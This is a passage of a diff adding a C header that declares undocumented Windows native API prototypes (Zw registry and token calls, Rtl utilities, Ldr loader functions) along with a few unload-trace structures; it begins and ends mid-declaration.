IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + + +NTSTATUS +NTAPI +ZwLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + + +NTSTATUS +NTAPI +ZwOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + + +NTSTATUS +NTAPI +ZwReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + + +NTSTATUS +NTAPI +ZwRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + + +NTSTATUS +NTAPI +ZwCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + + +NTSTATUS +NTAPI +ZwCompressKey( + IN HANDLE Key + ); + + + +NTSTATUS +NTAPI +ZwRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + + +NTSTATUS +NTAPI +ZwSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + + +NTSTATUS +NTAPI +ZwSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + + +NTSTATUS +NTAPI +ZwLockRegistryKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + + +NTSTATUS +NTAPI +ZwAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + + +NTSTATUS +NTAPI +ZwCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +ZwRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_zwapi + +ULONG +DbgPrint( + IN PCH Format, + ... + ); + +VOID NTAPI +DebugService2 ( + PVOID Arg1, + PVOID Arg2, + ULONG Service + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerAdd ( + LARGE_INTEGER Addend1, + LARGE_INTEGER Addend2 + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedIntegerMultiply ( + LONG Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedUnsignedMultiply ( + ULONG Multiplicand, + ULONG Multiplier + ); + +__inline +ULONG +NTAPI +RtlEnlargedUnsignedDivide ( + IN ULARGE_INTEGER Dividend, + IN ULONG Divisor, + IN PULONG Remainder OPTIONAL + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerNegate ( + LARGE_INTEGER Subtrahend + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerSubtract ( + LARGE_INTEGER Minuend, + LARGE_INTEGER Subtrahend + ); + +LARGE_INTEGER +NTAPI +RtlExtendedMagicDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER MagicDivisor, + CCHAR ShiftCount + ); + +LARGE_INTEGER +NTAPI +RtlExtendedLargeIntegerDivide ( + LARGE_INTEGER Dividend, + ULONG Divisor, + PULONG Remainder + ); + +LARGE_INTEGER +NTAPI +RtlLargeIntegerDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER Divisor, + PLARGE_INTEGER Remainder + ); + +LARGE_INTEGER +NTAPI +RtlExtendedIntegerMultiply ( + LARGE_INTEGER Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlConvertLongToLargeInteger ( + LONG SignedInteger + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlConvertUlongToLargeInteger ( + ULONG UnsignedInteger + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftLeft ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftRight ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerArithmeticShift ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +BOOLEAN +NTAPI +RtlCheckBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitPosition + ); + + +BOOLEAN +NTAPI +RtlIsValidOemCharacter ( + IN OUT PWCHAR Char + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlpImageNtHeader( + PVOID Base + ); + +RTL_PATH_TYPE +RtlDetermineDosPathNameType_U( + IN PCWSTR DosFileName + ); + +PRTL_TRACE_DATABASE +RtlTraceDatabaseCreate ( + IN ULONG Buckets, + IN SIZE_T MaximumSize OPTIONAL, + IN ULONG Flags, // OPTIONAL in User mode + IN ULONG Tag, // OPTIONAL in User mode + IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseValidate ( + IN PRTL_TRACE_DATABASE Database + ); + +BOOLEAN +RtlTraceDatabaseAdd ( + IN PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseFind ( + PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseEnumerate ( + PRTL_TRACE_DATABASE Database, + OUT PRTL_TRACE_ENUMERATE Enumerate, + OUT PRTL_TRACE_BLOCK * TraceBlock + ); + +VOID +RtlTraceDatabaseLock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlTraceDatabaseUnlock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlpGetStackLimits ( + OUT PULONG_PTR LowLimit, + OUT PULONG_PTR HighLimit + ); + +NTSTATUS +NTAPI +RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLocked ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll ( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrLoadDll( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrUnloadDll( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandle( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleEx( + IN ULONG Flags, + IN OPTIONAL PCWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT OPTIONAL PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + IN PVOID Base, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByName( + IN OPTIONAL PUNICODE_STRING BaseDllName, + IN OPTIONAL PUNICODE_STRING FullDllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrAddRefDll( + IN ULONG Flags, + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +LdrLockLoaderLock( + IN ULONG Flags, + OUT OPTIONAL ULONG *Disposition, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrRelocateImage( + IN PVOID NewBase, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + IN PVOID NewBase, + IN LONGLONG Bias, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONG_PTR Diff + ); + +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + IN PVOID BaseAddress, + IN SIZE_T NumberOfBytes, + IN ULONG FileLength + ); + +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + IN PVOID DllHandle, + OUT PULONG ServiceTagBuffer, + IN OUT PULONG BufferSize + ); + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + +ULONG +NTAPI +CsrGetProcessId( + ); + +void +NTAPI +A_SHAFinal( + PSHA_CTX Context, + PULONG Result + ); + + +PVOID +NTAPI +A_SHAUpdate( + IN OUT PSHA_CTX, + IN PCHAR, + IN UINT + ); + +PVOID +NTAPI +A_SHAInit( + IN OUT PSHA_CTX, + OUT PVOID + ); + +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved + ); + +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved // Must be NULL + ); + +PVOID +NTAPI +RtlAddVectoredExceptionHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +PVOID +NTAPI +RtlAddVectoredContinueHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSTATUS +NTAPI +RtlAnalyzeProfile ( + VOID + ); + +BOOLEAN +NTAPI +RtlCallVectoredContinueHandlers ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord + ); + +PVOID +RtlEncodePointer( + PVOID Ptr + ); + +PVOID +RtlDecodePointer( + PVOID Ptr + ); + +PVOID +RtlEncodeSystemPointer( + PVOID Ptr + ); + +PVOID +RtlDecodeSystemPointer( + PVOID Ptr + ); + +VOID +NTAPI +RtlDeleteResource( + PRTL_RESOURCE Resource + ); + +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + PSECURITY_DESCRIPTOR * ObjectDescriptor + ); + +BOOLEAN +RtlDllShutdownInProgress( + VOID + ); + +ULONG +NTAPI +RtlGetCurrentProcessorNumber ( + VOID + ); + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 + +typedef struct _RTL_UNLOAD_EVENT_TRACE { + PVOID BaseAddress; // Base address of dll + SIZE_T SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE64 { + ULONGLONG BaseAddress; // Base address of dll + ULONGLONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 { + ULONG BaseAddress; // Base address of dll + ULONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeProfile( + BOOLEAN KernelToo + ); + +typedef BOOLEAN +(NTAPI * +PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( + VOID + ); + +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout ( + VOID + ); + +NTSTATUS +NTAPI +RtlSetLFHDebuggingInformation( + PVOID LFHHeap, + PHEAP_DEBUGGING_INFORMATION DebuggingInformation + ); + +ULONG +NTAPI +RtlMultipleAllocateHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID * Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + OUT PVOID * Array + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectEx ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID *ObjectType OPTIONAL, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID **pObjectType OPTIONAL, + IN ULONG GuidCount, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlSetHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL + ); + +NTSTATUS +NTAPI +RtlQueryHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL, + OUT PSIZE_T ReturnLength OPTIONAL + ); +#endif + +NTSTATUS +NTAPI +RtlQuerySecurityObject ( + PSECURITY_DESCRIPTOR ObjectDescriptor, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ResultantDescriptor, + ULONG DescriptorLength, + PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +ULONG +NTAPI +RtlRemoveVectoredContinueHandler ( + IN PVOID Handle + ); + +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler ( + IN PVOID Handle + ); + +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + IN HANDLE FileHandle, + IN APC_CALLBACK_FUNCTION CompletionProc, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlSetSecurityObject( + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ModificationDescriptor, + PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + PGENERIC_MAPPING GenericMapping, + HANDLE Token + ); + +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR ModificationDescriptor, + IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + 